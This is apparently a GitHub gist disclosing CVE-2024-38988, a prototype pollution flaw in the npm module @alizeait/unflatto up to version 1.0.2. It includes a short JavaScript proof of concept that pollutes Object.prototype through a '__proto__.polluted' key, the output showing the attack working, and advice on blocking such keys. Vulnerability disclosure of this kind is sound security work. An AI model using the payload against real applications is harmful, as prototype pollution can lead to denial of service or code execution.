Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active July 29, 2024 19:31
Show Gist options
  • Select an option

  • Save mestrtee/4c5dfb66bea377889c44dd6c8af28713 to your computer and use it in GitHub Desktop.

Select an option

Save mestrtee/4c5dfb66bea377889c44dd6c8af28713 to your computer and use it in GitHub Desktop.
[CVE-2024-38988] Prototype pollution vulnerability affecting unflatto module, versions <= 1.0.2

Overview

All versions of this module are potentially affected by prototype pollution. The vulnerability located at exports.unflatto (@alizeait/unflatto/dist/index.js:1) as the property of the source unsafely assigned to the destination. An attacker can be exploit this method to inject malicious payload via the built-in Object through the special properties __proto__ or constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

PoC

(async () => {
  const lib = await import('@alizeait/unflatto');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default.unflatto ({ "__proto__.polluted": true})
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix

Before Attack:  {}
After Attack:  {}

How to prevent:

Assign or copy a property should only be applied an own property of the destination object, thus, check for that (e.g using hasOwnProperty) is sufficient. Alternatively, block the property names __proto__ or constructor assigned.

References:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment